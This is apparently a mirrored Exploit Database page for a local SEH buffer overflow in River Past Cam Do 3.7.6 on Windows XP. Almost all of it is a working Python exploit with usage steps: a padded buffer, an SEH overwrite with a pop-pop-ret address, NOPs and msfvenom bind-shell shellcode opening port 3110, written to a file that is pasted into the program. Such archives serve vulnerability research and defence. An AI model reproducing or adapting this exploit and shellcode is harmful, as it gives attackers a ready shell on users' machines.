River Past Cam Do 3.7.6 – Local Buffer Overflow (SEH)

• Exploit Database
• 16 阅读

• 作者： Achilles
  日期： 2019-02-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46335/

• # Exploit Title: River Past CamDo SEH Local Exploit
  # Date: 07.02.2019
  # Vendor Homepage:www.riverpast.com
  # Software Link:https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
  # Exploit Author: Achilles
  # Tested Version: 3.7.6
  # Tested on: Windows XP SP3 EN
  
  # 1.- Run python code : CamDo.py
  # 2.- Open EVIL.txt and copy content to clipboard
  # 3.- Open CamDo.exe and click on the 'Options' Inside fhe 'File' Menu.
  # 4.- Paste the Content of EVIL.txt into the 'Lame_enc.dll' name field.
  # 5.- Click 'OK' and you will have a bind shell port 3110.
  
  
  #!/usr/bin/env python
  import struct
  
  buffer = "\x41" * 280
  NSEH = "\xeb\x06\x90\x90" #jmp short 6
  SEH =struct.pack('<L',0x10010b0b) #pop pop ret rvddshow2.dll
  nops = "\x90" * 20
  
  #badchar \x00\x0a\x0d\x2f\
  #msfvenom -p windows/shell_bind_tcp LPORT=3110-a x86 -b '\x00\x0a\x0d\x2f'-f python
  
  shellcode = ("\xb8\x9c\x94\x39\x34\xdb\xda\xd9\x74\x24\xf4\x5a\x33"
  "\xc9\xb1\x53\x31\x42\x12\x03\x42\x12\x83\x5e\x90\xdb"
  "\xc1\xa2\x71\x99\x2a\x5a\x82\xfe\xa3\xbf\xb3\x3e\xd7"
  "\xb4\xe4\x8e\x93\x98\x08\x64\xf1\x08\x9a\x08\xde\x3f"
  "\x2b\xa6\x38\x0e\xac\x9b\x79\x11\x2e\xe6\xad\xf1\x0f"
  "\x29\xa0\xf0\x48\x54\x49\xa0\x01\x12\xfc\x54\x25\x6e"
  "\x3d\xdf\x75\x7e\x45\x3c\xcd\x81\x64\x93\x45\xd8\xa6"
  "\x12\x89\x50\xef\x0c\xce\x5d\xb9\xa7\x24\x29\x38\x61"
  "\x75\xd2\x97\x4c\xb9\x21\xe9\x89\x7e\xda\x9c\xe3\x7c"
  "\x67\xa7\x30\xfe\xb3\x22\xa2\x58\x37\x94\x0e\x58\x94"
  "\x43\xc5\x56\x51\x07\x81\x7a\x64\xc4\xba\x87\xed\xeb"
  "\x6c\x0e\xb5\xcf\xa8\x4a\x6d\x71\xe9\x36\xc0\x8e\xe9"
  "\x98\xbd\x2a\x62\x34\xa9\x46\x29\x51\x1e\x6b\xd1\xa1"
  "\x08\xfc\xa2\x93\x97\x56\x2c\x98\x50\x71\xab\xdf\x4a"
  "\xc5\x23\x1e\x75\x36\x6a\xe5\x21\x66\x04\xcc\x49\xed"
  "\xd4\xf1\x9f\x98\xdc\x54\x70\xbf\x21\x26\x20\x7f\x89"
  "\xcf\x2a\x70\xf6\xf0\x54\x5a\x9f\x99\xa8\x65\x93\x7f"
  "\x24\x83\xc1\x6f\x60\x1b\x7d\x52\x57\x94\x1a\xad\xbd"
  "\x8c\x8c\xe6\xd7\x0b\xb3\xf6\xfd\x3b\x23\x7d\x12\xf8"
  "\x52\x82\x3f\xa8\x03\x15\xb5\x39\x66\x87\xca\x13\x10"
  "\x24\x58\xf8\xe0\x23\x41\x57\xb7\x64\xb7\xae\x5d\x99"
  "\xee\x18\x43\x60\x76\x62\xc7\xbf\x4b\x6d\xc6\x32\xf7"
  "\x49\xd8\x8a\xf8\xd5\x8c\x42\xaf\x83\x7a\x25\x19\x62"
  "\xd4\xff\xf6\x2c\xb0\x86\x34\xef\xc6\x86\x10\x99\x26"
  "\x36\xcd\xdc\x59\xf7\x99\xe8\x22\xe5\x39\x16\xf9\xad"
  "\x4a\x5d\xa3\x84\xc2\x38\x36\x95\x8e\xba\xed\xda\xb6"
  "\x38\x07\xa3\x4c\x20\x62\xa6\x09\xe6\x9f\xda\x02\x83"
  "\x9f\x49\x22\x86")
  
  
  payload = buffer + NSEH + SEH + nops + shellcode
  
  
  try:
  	f=open("Evil.txt","w")
  	print "[+] Creating %s bytes evil payload.." %len(payload)
  	f.write(payload)
  	f.close()
  	print "[+] File created!"
  except:
  	print "File cannot be created"